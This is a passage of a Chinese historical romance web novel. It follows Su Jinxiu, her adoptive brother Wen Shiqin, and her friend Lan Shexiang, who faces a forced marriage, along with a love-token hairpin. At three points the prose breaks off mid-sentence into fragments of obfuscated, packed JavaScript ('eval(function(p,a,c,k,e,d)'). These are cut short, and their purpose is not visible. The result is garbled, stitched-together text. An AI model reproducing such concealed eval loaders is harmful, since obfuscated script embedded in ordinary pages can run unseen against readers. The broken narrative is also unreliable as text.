方才稍褪的郁气又悄然翻涌,她索性闭紧唇,再不肯与闻时钦说一句话。 闻时钦眼底浮起几分茫然,先前他于书中见“女人心,海底针”之语,未曾深解。可此刻怀中人儿紧抿唇瓣,任他百般轻声探问皆缄默不语,他冥思苦想,竟辨不出自己是哪处失仪、哪句话触了她的恼,才悟得古人此喻诚不我欺,只剩满心的无奈。 犹豫静默片刻,他索性俯身将她连人带被单臂抱起。 苏锦绣只觉身子骤然一轻,失重感袭来,当即惊声道:“你干嘛?” 闻时钦让她坐在自己臂弯,淡淡道:“阿姐不肯言语,莫不是还想睡?既如此,我便连着棉被抱你出去,待会你就在我怀里歇着,既不耽了众人欢聚,也不扰了你安睡,岂不是两全?” 这是什么道理?若真被他抱出去,众人围坐用膳时,自己竟要窝在他怀中酣睡,别说进食,届时定要成了满座人的下酒谈资,议论笑柄了! 苏锦绣一时气结,扬声唤了句:“闻时钦!” 可尾音里带着几分未散的困意,又掺着丝慌促,半点威慑力也无。 闻时钦却动了真格,抱着她稳步朝门外去,指尖已触到了门扉,还对外面朗声喊了句来唬她:“来了!” 苏锦绣一颗心陡然悬到嗓子眼,忙急声道:“我去梳洗!先放我下来梳洗!” “早这样不就好了?”闻时钦这才轻笑着作罢。 苏锦绣顿感此人揣着满肚子玲珑心思,那些看似妥帖的应对里,藏着不少小狡黠,从前不过是在她面前装得乖顺温驯,将算计都掩了去。 可这般认知清晰起来时,已然太迟。 苏锦绣梳洗既毕,款步跨出内室。浅桃夭色罗绮裙裾裹着纤柔的身姿,裙角绣着几片半绽桃瓣,粉得鲜活欲滴,宛若枝头新折、尚凝朝露。 闻时钦已在院中桌旁坐定,恰在此时转头,只见她发间碎发沾着未散的水汽,颊边净白里晕着薄粉,宛若月下初绽的桃仙,竟蓦地一怔。 而后他喉间微滚,不过转瞬便敛去失神,仿佛早已知晓她梳洗后必是这般绝色。 苏锦绣缓步入院,夏夜晚风携着草木的清馥拂过衣袂,捎来几分沁凉。 院心圆桌旁,易如栩、谢鸿影已围坐谈笑,兰涉湘正伸指逗弄悬着的灯串,唯有闻时钦身侧空着一方席位,显是特意为她留的。 “巧娘来了!”谢鸿影最先扬声相唤,“快坐此处,新剥的荔枝还冰在冰鉴里,正鲜甜呢!” 易如栩亦抬眸笑望,眼底盛着温润笑意:“观你气色,倒似补了场酣眠,精神爽利多了。” 苏锦绣边笑着应他们边落座,指尖触到椅面的微凉,满院蝉鸣便入耳来。 这时兰涉湘转头打趣:“还是时钦有法子,方才我去唤了你好几回,你都睡得沉,怎么叫也不醒。” 苏锦绣闻言,脑中顿时闪过闻时钦那连人带被抱出去的荒唐念头,面上掠过一丝赧然,随即强作镇定,轻声应道:“昨夜熬了通宵,实在困倦得很。” 闻时钦则勾起唇角,执起案上青瓷壶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰涉湘瞧着这剑拔弩张的光景,连忙搁下筷箸打圆场:“时钦也忒疼你阿姐了,再添下去,她今夜可要撑得难安了。” 易如栩正捧着盏鹌子羹细品,乳白汤头里浮着细碎的鹌肉糜与笋丁,鲜醇的香气漫在唇齿间,刚要赞一句“这羹里的胡椒衬得极妙”,便被兰涉湘悄悄撞了下肘。 他抬眼接住兰涉湘递来的眼色,又瞥向桌案那端——闻时钦攥着筷子脸色发沉,苏锦绣垂着眼抿着唇,那微妙的滞涩感几乎要漫出席间。 易如栩心头恍然,忙搁下羹碗打圆场:“啊,是的是的!听说天贶节这习俗里最讲究嫁女还家,往后巧娘若成了亲,到时候定要……” 得,哪壶不开提哪壶。 话未说完,兰涉湘已忙不迭补救:“可不是嘛,到时候咱们还得……” “啪!” 一声脆响陡然打断话头,是闻时钦重重搁下筷子。 在座皆愣,苏锦绣也被这动静惊到,抬眸问道:“你这是做什么?” “我已食饱,出去消食。” 他冷冷言毕便猛地起身,大步跨出了院门。 兰涉湘转头看向易如栩,眼底满是恨铁不成钢的无奈。 谢鸿影还捧着半块燔肉啃,被闻时钦的动静吓到后问苏锦绣:“巧娘,他怎么了?好端端的怎就动了气?” 苏锦绣指尖捏着筷柄,想起他先前消失四日、如今又无故甩脸的模样,心头那点刚压下去的怒恨又冒了上来。 她抬眸扫过空着的席位,语气平静却带着几分笃定: “不用管他,咱们继续吃。” 17.几悬停 夜色转浓,苏锦绣终是忍不住,把盛好的菘菜羹与炉焙鸡小心端至灶上,以柴火余烬细细煨着,怕闻时钦气消了回来,连口热的都吃不上。 兰涉湘没走,坐在灶边陪着她,手里还帮着理着绣线,笑着说:“你呀,嘴比谁都硬,心比谁都软。” 苏锦绣耳尖微赧,正欲辩白,院外忽传“叩叩”门声,异于寻常。 兰涉湘立刻放下绣线起身道:“定是你阿弟回来了,这气性来得快去得也快。” “先别去开。”苏锦绣急忙伸手攥住她衣袖,声音微急,心思却清明:“阿钦回家哪会敲门?往常不都是直接推门喊我么?” 兰涉湘闻言颔首,亦觉有理,可门外叩击声却愈发急促,连门板都似要被震得作响。 苏锦绣心头一紧,攥着兰涉湘的手又紧了几分:“我们先回屋,把门闩上。阿钦还未归,多一事不如少一事。” 话音未落,院外忽传来一声巨响,木门竟被人硬生生踹开,涌入的一行小厮皆身形挺拔,衣袂下隐约见得紧实肌理,绝非寻常洒扫杂役,倒像是练过拳脚的护院。 苏锦绣心头发慌,却仍强撑着底气道:“你们竟强闯民宅,意欲何为?” 为首的小厮跨步上前,苏锦绣忙将兰涉湘护在身后,掌心已沁出薄汗。 岂料那小厮行至三步开外,竟骤然躬身行礼,语气恭敬得近乎谦卑:“二小姐,还请随小人回去吧!” “二小姐?”苏锦绣一怔,转瞬便知所言非己,遂缓缓转过身,看向身后的兰涉湘。 兰涉湘的目光落在那小厮身上时,带着几分了然的沉静。她刚要抬步,腕间忽被人攥住,回头便见苏锦绣满眼急色,指尖都带着颤:“涉湘!” 兰涉湘望着她紧绷的眉眼,反倒轻轻舒了口气,抬手将她的手从自己腕上拂开,语气温软却笃定:“巧娘放心,我心里有数。” 说罢,她往前稳稳站定,目光直视那小厮,清晰唤出名字:“铭山,你回去罢。还请替我禀明父亲大人。女儿不孝,若执意要我嫁与素未谋面之人,便权当府中从无我这女儿。此后我自食其力,府中一针一线、一粟一米,皆不会再沾半分。” 铭山闻得此言,浓眉骤蹙如墨画,竟直挺挺叩跪于青砖之上,身后诸小厮见状,亦齐齐屈膝顿首,满院人影俯伏。 “还请小姐随小的们归府!”铭山额角抵地,语气里满是恳劝。 兰涉湘望着他这副模样,眼底掠过一丝复杂,却仍冷声道:“铭山,你且说与我听,你这条命,究竟是父亲所予,还是我所救?”她顿了顿,目光扫过他紧绷的脊背,“昔年你在西跨院高热谵妄,濒死之际,是谁替你寻医抓药?如今你倒要拦我,断我所愿?” 铭山听得这话,眉峰蹙得更紧,指节攥得泛白。 他猛地抬首,复又重重磕下三个响头,青砖上竟洇开淡红血痕:“小姐对小的有再造之恩,小的此生不敢或忘!然……然老爷之命,小的亦不敢悖逆啊!” “我断无归府之理。”兰涉湘语气斩钉截铁,未有半分转圜。 铭山面色一白,猛地起身,眼底满是挣扎,终是咬牙道:“既如此,小姐便休怪小的无状了!”说罢,他大步上前,探手便要去扣兰涉湘的腕子。 苏锦绣在旁看得心惊,忙不迭抢步上前,张开手臂挡在兰涉湘身前,声线都带了颤:“别碰她!” 铭山本不欲多生枝节,只伸出铁钳般的大手,将拦在身前的苏锦绣一拽,就使她趔趄了好远才稳住身形。他未多言,只隔着衣料攥住兰涉湘的小臂,沉声道:“小的失礼了!归府后小姐或打或骂,甚至要小的以命相抵,小的皆无二话。” 兰涉湘拼命挣扎:“我不回去!铭山你放开我!” 苏锦绣勉力站稳身形,见兰涉湘已被拽至院门口,心下急如焚,忙踉跄着追上前,伸手便去拉兰涉湘的另一只手。 铭山见她再度阻拦,眉峰一蹙,反手便将苏锦绣用力往外一推。他本就身具蛮力,这一推力道颇沉,苏锦绣只觉眼前天旋地转,脚步虚浮难支,整个人直直朝门外跌去。 “呀!” 预想中的磕碰并未降临,她反倒跌入一个温热宽阔的臂膀。 下一瞬,身子就被轻轻旋过,原本朝天的面庞,此刻正抵着一片熟悉的、带着薄汗的温热胸膛,一双大手牢牢箍在她的后背,稳稳托住她摇摇欲坠的身子。 “没事吧?” 熟悉的嗓音在头顶响起,却裹着浓得化不开的怒意,还有几分急促的喘息。 苏锦绣猛地抬头,撞进闻时钦满是焦灼的眼眸,他竟在此时归来,宛如天神降临。 满心的慌乱与委屈瞬间涌溢,她用力点了点头:“有事!” 方才强撑着阻拦铭山的那点硬气,在见着闻时钦的瞬间尽数崩解,眼底的委屈再也藏不住,指着小厮铭山就告状道:“阿钦,这小厮要强行把涉湘带走,我实在拦不住。” 像个在外受了欺凌的孩子,忽然寻着撑腰的人。 事实也确如此。 他听着她细弱且委屈的控诉,指尖清晰触到她因后怕而微微发颤的脊背,眉峰越拧越紧,脸色渐沉如墨染,胸腔里翻涌的怒意几乎要冲破而出。 “秘书监府上的奴才,竟是这般无法无天,连主子都敢动手强拉么?” 铭山闻言,攥着兰涉湘腕子的指节骤松,令周围小厮停步,不敢再动。绣巷本是闾阎聚居地,但这少年竟能道破他的主家官拜秘书监,更直指他以下犯上,绝非市井流俗。 闻时钦松了些力道,腾出指腹轻轻拭去苏锦绣眼角的湿意,动作柔得与方才的沉怒判若两人,声线亦放得温缓:“阿姐与兰姑娘在院外稍候,我去处置。” 言罢,他转身向铭山步去。铭山见来者是白衣少年,只当是寻常文弱书生,哪放在眼里?见他伸手要拉兰涉湘,当即扬手便要推搡。 岂料闻时钦眼疾手快,反手扣住铭山臂膀,指节发力猛地一拧。只听骨节轻响,铭山胳膊瞬时脱臼,痛得闷哼出声。未等他缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人正僵持间,院内忽传兰涉湘的长叹,声线里满是认命的倦怠:“……罢了,你先回府禀明父亲,下月我自会归府。” 苏锦绣听得这话,心更急了,挣着就要冲进去。闻时钦却心有余悸,不愿她再掺和这浑局,怕她养成多管闲事的性子,反而将她箍得更紧了些。 “阿钦——”苏锦绣拖着长音唤他,语气里带了点哀求,“先前我染疾卧床,皆是涉湘跑前跑后为我抓药煎药。若没有她,我当初怕是早已……” 话未说完,闻时钦便松了手,无奈叹道:“走走走,要去便去,休再提这些丧气话。” 苏锦绣与闻时钦刚推门而入,便见铭山闻得兰涉湘那话,哭声愈发悲恸,竟不顾方才被打出的伤痛,挣扎着伏在地上,额头不住往青砖上磕,直磕得声响连连。 苏锦绣满心忧戚,快步上前拉住兰涉湘的手,急声道:“涉湘,你当真要回府?我虽不懂你家中事,但看这阵仗,也知那府里分明是虎狼之穴。还要你嫁与一个素未谋面之人,这怎么行?” 兰涉湘拍了拍她的手背,宽慰道:“这一遭,我总归是躲不过的。与其一味逃避,不如亲去面对,也好叫父亲看看我的决心。” 18.寄情簪 经了方才一事,兰涉湘心绪难平,苏锦绣见她不安,便留她同宿,也好近身宽慰。 烛火荧荧,将茜色帐幔晕成一片暖橙,两个少女肩紧相贴,仿佛窝居于这一方小小床榻,能暂避世间所有的风霜雨雪。 兰涉湘终是卸下防备,敞了心扉,缓缓道尽自己的过往。 她原是京中四品秘书监兰氏次女,幼时因禀赋孱弱,家中请了高人算命指点后将她送往城外玉真观,托付给道姑教养,兼习岐黄之术,只在及笄日归家过一次。 那道姑待她视如己出,晨昏照料、悉心授业,兰涉湘也早将其认作养母,原以为此生便在关中伴着晨钟暮鼓、药香书卷安稳度过。未料半年前,兰家忽遣人召她回府,究其缘由,竟是已替她定下一门姻亲。 苏锦绣听得眉头微蹙,停了手中的绣针,忙追问:“竟有这等事?定的是哪家的亲?对方人品如何,你可知晓?” 兰涉湘声音又低了几分:“是三品司农寺卿之子。司农寺掌着天下农桑、仓储与屯田之事,家父说这是实职肥差。可我连那人面都没见过,只听府里下人提过一句,说那公子素来体弱。” “其实我也知晓,那联姻之人未必是豺狼心性,嫁过去也不至就会沦于鸡飞狗跳之境。” “可我这般抵拒……” 话音戛然而止,兰涉湘垂眸,颊边飞上一抹可疑的红晕。 苏锦绣见她这副欲语还休的模样,眼底顿时浮起探究的笑意,随手将绣妥的青缎靴搁在榻边矮几上,伸手轻轻捏了捏她的肩膀:“哦?这话里藏着话呢……你莫不是早有中意之人,暗萦心曲了?” 这一捏一问,直教兰涉湘的脸涨得如熟透的樱桃,声音细细:“是……是曾有过一面之缘的君子。” “品貌若何?家世几何?”苏锦绣凑得更近了些,连烛火都似被这热络烘得更亮,“改日若得见,你指与我看,我替你把把关,看配不配得上我们人美心善的涉湘。” 兰涉湘咬着唇,指尖轻轻划着锦被,缓缓道:“我也不知他是哪家的贵胄……只看着便是一派端方雅正,上月我在医馆遭逢纠葛,幸得他途经援手,事后还亲笔题了短章相赠,字如其人,隽秀温朗……” “竟有这等风雅事!” 苏锦绣本就嗜闻轶事,此刻听得兰涉湘细说前因,那点八卦之心顿时如添了薪的炭火,熊熊燃了起来。 她当即指尖在锦垫上轻点,带着雀跃逐条擘画起来:“既是这般,你且说上次遇着他是哪个时辰?往后每日此时都去那处转一遭,总有再遇之理!先摸清他的家世来路,若真是品行端方的君子,再设法让你们多些交集,岂不比坐待强?” 兰涉湘被她这副雷厉风行的模样说得颊上绯红,忙伸手轻拽她的衣袖,声音带着几分嗔怪:“哪有女儿家这般主动谋算的?传出去岂不失了矜持。” “如何不能?该出手时就出手,总好过错失良缘!”苏锦绣挑眉,语气里满是理直气壮,“届时若真难成,我便让阿钦寻个麻袋,直接将人给你套回来,倒省得费这许多周折!” 话音落时,两人都忍不住笑出声,不过也只当是闺阁间的戏言,没半分当真。 可这笑意尚未散尽,苏锦绣忽然蹙眉攒额,面色霎时褪尽丹霞,腹中陡起一阵锥心掣痛,宛若细针密刺,疼得她蜷起身子,往床榻内侧缩去。 兰涉湘见状忙倾身凑过去,伸手便要替她诊脉:“方才还生龙活虎的,怎的突然这般模样?” 苏锦绣咬着唇,缓了片刻才摆了摆手,强作轻松:“不妨事,不妨事。我想起日子,原是癸水至了,老毛病了,歇片刻便好。” 话虽强作镇定,她额角却已沁出冷汗,往日嫣若丹蔻的唇瓣,此刻也只剩一片霜白。 兰涉湘见她这模样,哪里还坐得住,当即掀了锦被起身道:“我去灶上给你煮碗姜枣红糖饮,再蒸一盅当归羊肉羹,这可不能硬撑。” 兰涉湘指尖慌乱地勾着鞋尖踩稳,谁料掌心刚推开门板,眼前竟陡现一道身影。 修伟玉立,黑眸沉沉,月白长衫沾着夜露的潮气,竟不知他已在廊下静立了多久。 闻时钦见她出来,先是颔首致意,随即轻轻提起左手的乌木食盒。盒盖缝隙间袅袅飘出暖雾,裹着甜润的温补气息,右手则端着个裹了锦布的汤婆子,触手便知是暖着的。 他将东西递过来,声音温沉:“劳烦兰姑娘。” 兰涉湘会意,忙伸手接过,触到食盒外壁的暖意,便掀开一角去看。 里面竟妥帖置着姜枣红糖、当归蜜膏,还有一盅温着的牛乳燕窝,皆是女儿家癸水临身时最宜的养身之物。 他竟这般心细如发,连阿姐的月信日子都记得分毫不差,比她这个密友还要周全。 闻时钦又往室内望了一眼,眸里凝着几分担忧,却未入内,只道了句“不扰你们闺中叙话。”便走了。 兰涉湘端着姜枣红糖水递与苏锦绣,又将裹了锦布的汤婆子轻置于她小腹处,见苏锦绣小口啜饮着糖水,面上终于多了几分活色,这才稍放下心。 “你们近日到底生了什么龃龉?可叫我真看不懂。”兰涉湘终是按捺不住,轻声提起。 苏锦绣啜饮糖水的动作蓦地一顿,垂眸凝视着碗中晃漾的红糖絮,声音含糊:“没什么……就是些琐碎小事。” 兰涉湘无奈,伸手将她手中的碗接过,搁在榻边矮几上,又轻轻将她往床里推了推:“你对旁人向来干脆爽利,怎么一到自己身上就这般忸怩?” 这话正戳中苏锦绣心事,她猛地拉过锦被裹住身子,只露一双眼睛在外,活像只遇着惊扰的缩头乌龟,再不肯多言。 兰涉湘忽道:“我倒有句题外话,你们这一路相伴的情谊……” 话音尚未落地,苏锦绣已屈指轻抵她唇上,低低道:“慎言。” 兰涉湘见她这般草木皆兵的情态,了然浅笑:“我不过提一句你二人的情谊,又未涉旁的,你何必如此急切?分明是关心则乱。” 苏锦绣闻言,才觉自己竟中了她的圈套,耳根瞬时漫上薄红,忙故作愠恼地转过身,反手取过枕边的《绣巷杂记》,指尖捏着书页,却未真个展读,只作专注模样,妄图遮掩那几分难以自洽的局促。 兰涉湘顺势斜倚在榻上,支肘望着她这欲盖弥彰的模样,声线渐缓,带了几分知交间的语重心长:“巧娘,你与他本就非亲姊弟,更像是比邻而居的青梅竹马。我这局外人都瞧得分明,你这当局者,难道真瞧不透他的心思么?” 何尝未起过念头? 正自怔忪犹豫,指尖无意间一捻,书页簌簌翻过,便到了《绣巷杂记》新镌的一页。 她心下一动,忙凝神细览,只见书曰: 闻时钦至金明池,为贵胄子弟击鞠伴游。俄而马惊,势若奔雷,皇后胞弟穆画霖、清平县主岑晚楹皆陷危局。钦不及思虑,跃马相救,二人方得免,感其相救之德,益加信重。 救人,美事,褒义。 记录上的闻时钦端的是侠义心肠,可苏锦绣的心却如坠冰湖,直直沉了下去。 只因那“楹”字入了眼。 那枚从他包袱里不慎滑落、满含脉脉真情的寄情簪上的“楹”字。 所以这四日,他竟是因救了清平县主,便生了一见钟情之意,后又两情相悦,收下了那支寄情簪么? 他素来眼高于顶,寻常闺秀纵是容色倾城,也难教他多瞥一眼,而今却将这枚寄情簪珍而重之,密藏于行囊深处,日夜妥帖相伴。 想来赠他予情的清平县主,定是位极好的姑娘罢? 窃窃的欢喜,怯怯的猜测,总是她一个人的事。 方才的几分悸动,此刻尽数消散,反倒似被人兜头浇了桶寒水,又遭一记重棒。 兰涉湘见她久久凝思,呼吸都轻细,只当她是在细细斟酌自己方才的话。 未料她却缓缓合上那书,声线淡得再无一丝波澜:“我与他,从来只有姐弟之情。” 兰涉湘见她情态陡变,心知需再添把火候。 遂抬眼四顾,目光忽落于案上那双新绣就的青缎靴,靴面针脚细密,鸾纹隐现,显是耗了极大心思。她素知苏锦绣在华韵阁接的活计从不在私宅动手,如今能让她守着人说话时还分心绣制的,除了闻时钦,再无第二人。 兰涉湘便指了那靴子,故意提点:“你莫不是忘了?昨儿街坊何伯来托话,要时钦明日一早去东市买粗木麻绳,帮他搭后园葡萄架。我看他那双旧靴早裂了缝,这新靴不趁今晚送去,难不成要他明儿踩着裂靴沾满街尘土?” 苏锦绣闻言一怔,眉尖微蹙:“我怎不知此事?” 可转念间便了然,她不知道的事多了去了。 思忖片刻,终是轻叹了口气:“罢了,左右是要给他的,我这便送去。” 兰涉湘目送她出门,满意地点了点头。 这厢苏锦绣怀捧青缎云履,先深吸了一口气才抬手轻叩门扉。 屋内烛影将窗纸染得暖透,叩声甫落,门便轻启。 闻时钦见来者是她,眸中先掠过惊喜,转瞬又蹙紧眉尖,语气满是忧虞:“夜已深了,阿姐怎还过来?可是腹痛又犯了,受不住了?” 苏锦绣被问得一怔,耳尖漫上薄红,忙错开目光岔开话头:“不是,我见你那双旧靴快磨透了,新绣了双送来,你且试试合不合脚。” 闻时钦眼底瞬间亮如星闪,忙侧身 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苏锦绣扯出一抹浅淡的笑,将簪子轻轻搁在案上,只轻声道:“那她的手,倒真是巧。” 闻时钦正欲赞一句“阿姐才是妙手”,话未出口,却闻她又语。 轻飘飘一句,却直教他如坠数九隆冬: “寄情簪是姑娘家的心意,若是接了,以后就好好对人家。” 他原以为含糊几句便能搪塞过去,却没料到她竟误会至这般境地,忙不迭摆着手,急声辩解:“不不不!” 随后连忙扣住她的肩膀,稍一用力,便让她转身正对自己。 “阿姐莫要错会,我明日一早便寻着人送还回去,绝无半分收纳之意!”他越说越急,连带着声线都劈了些,“我方才便说了,这簪子是遗落的,并非我主动收下的!” 苏锦绣闻言抬眸,目光在他面上细细逡巡,似要穿透他眼底的慌乱,辨出这番言辞里的真伪。 他素来磊落坦荡,倒也不像是会接了旁人情意,又左右搪塞的性子。 可这无声的打量,却看得闻时钦心头发毛,只当她仍不肯信,急得语无伦次:“我此刻便寻火石烧了这簪子!” 言罢,他转身便要往门外去。苏锦绣忙伸手拽住他的手腕,刚要开口宽解,却被他抢了话头。闻时钦反攥住她的手,语气里掺了孩童般的执拗:“我只要你的靴履,你的物什,旁的我皆不要!阿姐,你为我做枚寄情簪可好?就刻你的名字……旁人的簪子我瞧不上,我只要你的,只想要你的!” 这话越说越逾矩,他眼底翻涌的急切与灼热,似要化作明火,将人烫得无处遁形。 可寄情簪素来是女儿家赠予意中人的私物,哪里能随意应下?她唇瓣嗫嚅,支支吾吾半晌,终究没能将那声“好”吐出口。 这片刻的迟疑,落在闻时钦眼里,却无端滋生出别样的揣测。她不肯为自己做,莫不是心里早想着为旁人做?还是说,她早已为别人做过了? 苏锦绣细思如何婉拒他,忽闻头顶传来细碎的啜泣声。 她心下疑惑,抬眼望去时,却见闻时钦眼眶已泛红,他那双眼本就生得流光含情,此刻蒙了水汽,更似一汪碎月,眉峰微蹙,鼻梁高挺却因委屈泛着薄红,嘴唇轻轻翁动着,明明生得一副剑眉星眸的模样,此刻却像被弃的幼犬,楚楚可怜,看得人心尖发软。 “你哭什么?”苏锦绣无奈发问,“就因着不给你做簪子?” “是!” 话音刚落,闻时钦竟带着哭腔往前逼近半步,苏锦绣下意识后退,直至后背抵上冰冷的墙壁,再无退路。她本想斥一句“不许哭”,可目光触及他那张过分俊美的脸上满是委屈,到了嘴边的话又咽了回去。 他开始可怜巴巴地诘问,似受了天大的委屈:“阿姐,你不愿给我做,那你想给谁做?谢鸿影?还是易如栩?还是哪家的浪荡儿?” “阿姐,你是不是不想要我了?是不是嫌弃我了?是不是明日就要和别人私奔了?” 又来了。 苏锦绣被他一连串的问题轰得头晕,不过是一枚簪子,怎的扯到这般境地?她蹙着眉,暗下决心,这次绝不能再被他这装哭的伎俩弄得心软。 “闻时钦。”她沉声道。 “嗯。” 他应得委屈,话音刚落,又有两滴泪珠滚落,随即伸手抱住她,将脸埋在她脖颈间抽噎,温热的气息混着细微的呜咽,轻轻拂过她的肌肤。 “别不要我……” 苏锦绣闭了闭眼,深吸一口气,终是败下阵来。 “知道了,明日给你做。” 19.离别意 这日暮色渐起,苏锦绣才收了绣帔帛坠子的尾,这坠子以缉线在绢面上绣了岁寒三友,届时缀在帔帛末端,走时能随裙摆轻晃,步步生雅。 如今华韵阁声名如春溪涨岸,一日盛过一日,京中文人雅士皆以藏“锦绣娘子”亲制绣品为雅事,闺阁女儿更是踏破门槛争订衣料纹样,苏锦绣还做了二当家,终日忙着定样、监工,连歇脚的空都少。 待把坠子放进楠木小盒,苏锦绣才取了抽屉里那支素簪,捻起银丝,做起昨夜闻时钦哭着闹着要的寄情簪。 正想在簪身添形时,她指尖忽然顿住,脑中闪过连理枝的模样,可连理枝多用以喻夫妇相得,寓意太过昭彰,再三思忖,终究还是换了更显稚趣的双燕衔春。 阁外传来轻叩声,随后琳琅捧着块素绫进来,脸上带着几分急色:“锦绣,我这孝经总也绣不好,试了三次都不成。” 苏锦绣接过素绫细看后指点道:“你用的是生绢,太松才渗墨。先将生绢浸在淡浆水里半个时辰,晾干后再绷框。绣舟字旁时得用虚针来挑,针脚宜疏。草字头得用实针来叠绣,针脚宜密。虚实相衬,字迹自会灵动。”末了又道:“绣孝文须以巧思显心,而非徒耗工时。” 这话刚落,阁门处忽有衣袂轻响,苏锦绣抬头看,是丹荔端着漆盘走过,还若有若无地朝里间瞟了一眼。 琳琅眼睛一亮,忙应道:“好!多谢锦绣,我这就去试!” 苏锦绣转身将案上余下的绣活一一清点归箱,又取过那支寄情簪轻轻塞进袖中。转身时见琳琅还在案前对着浆好的素绢试针,便走上前温声叮嘱:“莫要贪多累着,天色不早了,明日再绣也不迟。” 琳琅抬头笑应:“晓得了锦绣,你也慢些走!” 苏锦绣亦笑着颔首,这才推门出了主厅。穿院而行时,见廊下的蜀葵开得正艳,殷红浅粉相映成趣,不自觉就驻足,纤指轻拢,把玩观赏起来,想着在家中栽些也好。 忽有双手自身后覆来,蒙住了她的眼睛。 苏锦绣心头微凛,下意识便要抬腕去揭,耳畔却先传来戏谑之声:“猜猜我是谁?” 这声音朝夕相伴,她入耳便知是谁。苏锦绣动作顿住,唇角悄悄弯起,故意拖长语调,还带着丝轻笑:“哦?莫不是涉湘?” 覆在眼上的手微微用力按了按,带着点不服气:“她手有这般阔朗?再猜。” 她忍着笑转了话头,继续逗他:“那……莫不是谢小郎君?” 那掌心忽的一僵,下一瞬耳边声音便染了咬牙切齿的意味,还添了规矩:“阿姐仅有三次机会。” 苏锦绣再也忍不住,轻笑出声:“你要我猜,却偏唤我阿姐。我阿弟可仅有一个,那你……莫不是阿钦?” 一语中的,覆眼的力道霎时松了。苏锦绣将柔荑搭上他腕间,轻轻一扯便卸了桎梏,转身抬首时,颊边笑意未散,正撞进闻时钦眼底。 只是他面上并无半分玩闹后的轻快,风云莫测地静了半晌,才低低开口:“谢鸿影,常在此刻寻你?” 明明是他先起了玩心,自己不过顺势相陪讲了几句玩笑,他倒先沉了脸。 苏锦绣刚要启唇解释,身后忽传来琳琅的声音,带着打趣:“呦,锦绣,这位是?” 二人此时正处腕扣腰环之态,衣袂相叠,鬓影微错,在琳琅眼中瞧来,端的是亲昵无间,更兼郎才女貌,难免生出几分揣度。 谁料苏锦绣抬眼便笑:“这是我阿弟。” 琳琅恍然颔首:“哦!这便是你日日挂在嘴边的阿弟?”说着目光在二人脸上转了圈,啧叹道:“你阿弟生得这般一表人才,只是瞧着,怎的与你不甚相像?” 话音刚落,闻时钦已先一步开口,带着几分刻意:“并非亲弟。” 琳琅闻言先是一怔,眼珠滴溜溜在二人间转了圈,随即露出副了然的笑:“哦,是这样啊。” 她也不多留,只匆匆道了句“你们聊”,走时还朝苏锦绣挤了挤眼。 琳琅的身影刚隐没在院墙拐角,闻时钦便又执拗追问:“阿姐还未答我,谢鸿影当真常于此时寻你?还有,你方才怎的先猜他的名字?” “我就是随口提了一嘴,先前不也说了涉湘的名字么?”苏锦绣无奈解释。 换作旁人,他原也不甚在意,偏生是谢鸿影。 上一世,二人也是误打误撞结为契友。初见谢鸿影,是膏粱子弟里少见的纯良模样,家底殷实,家中双亲更是温厚和善。后来他亦非池中之物,不仅挣得些许戎马声名,行事愈发有担当,妥妥一副可托终身的模样。 闻时钦那时便常暗忖,阿姐若能许配于他,既无宅门内帏之争,又有殷实家资傍身,往后日子定能安稳顺遂,当是良配。 为此他还悄悄费心撮合,为二人制造过多回相见的机缘,盼着能成就一段佳话。 如今想来,他只恨不能抬手狠狠掴自己几掌。 苏锦绣话音刚落,便见闻时钦深吸一口气,眉峰拧得更紧,下颌线都绷直了。 她心头咯噔一声,暗道不妙,看他这模样,要么是要闹脾气,要么是要红眼眶。是而忙从袖中摸出那支缀着银丝双燕的寄情簪,递到他眼前:“看看,给你做的,刚完工。” 痴云恨雨,就此尽数消散。 只因这是寄情簪,捻银丝、缀双燕的寄情簪。 虽撒泼打滚才求来的,可她终究是做了,燕喙衔春枝,分明是用了心的。 她肯费这番功夫,是不是说明,那些逾矩的惦念、藏不住的亲近,或许并非一厢情愿? 闻时钦指腹重重摩挲着簪身,连银丝的细痕都摸得分明,随后小心翼翼将簪子揣进贴近胸口的衣襟里。 苏锦绣见他这般郑重,忙蹙眉叮嘱:“怎的放在胸口?这簪子有棱有角,小心划了皮肉。” 闻时钦却抬眸望她,眼底明闪闪:“便是硌着也无妨,我恨不得将它插进我心里,日日与我相契。” 苏锦绣被这话惊得一愣,伸手轻轻拍了下他的胳膊,又气又无奈:“胡言乱语!” 又记起闻时钦是头一来华韵阁,苏锦绣便问道:“来都来了,可要随我去瞧瞧我的绣房?” 闻时钦颔首应之,苏锦绣便顺势引他往内院行去。 就这样穿过蜀葵映艳的回廊,穿过绣布悬垂的画堂,穿过时光织就的缄默,从头至尾不过数丈路,却无端让人想起一生好光景。 及至上房,苏锦绣眸底漾着熠然光彩,指架上精绣之物侃侃而谈。言及今时在绣坊的职分,语涉自身攒下的声名,连近日接下的贵邸绣活、入库的纹银也一一细数,桩桩件件皆如数家珍。 闻时钦自始至终未发一语,唯立在侧静静谛听,目光胶着在她含笑的眉眼间,未曾移开半分。待她语歇,他才缓缓开口,字字皆挚诚:“阿姐既有惊鸿之貌,又有绣绝天下的本事,是九天谪降的织女仙娥,更是渡我出尘的观世音菩萨。” 他是个七窍玲珑的主儿,即便是阿谀奉承,亦能说得熨帖人心,苏锦绣竟忘了这层,猝不及防中了招,被他夸得颊上骤生酡红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻时钦却故意错开不答,只绕到她身后,不等苏锦绣反应,便弯下颀长身姿,骨节分明的手撑在她身前的案几上,将人稳稳困在臂弯与桌案间的方寸之地,胸膛几乎要贴上她的后背。 他还特意弯下腰,将头轻轻倚在她肩膀上,温热的呼吸扫过她颈侧:“这是多少?我看不清楚,阿姐让我离近些再看。” 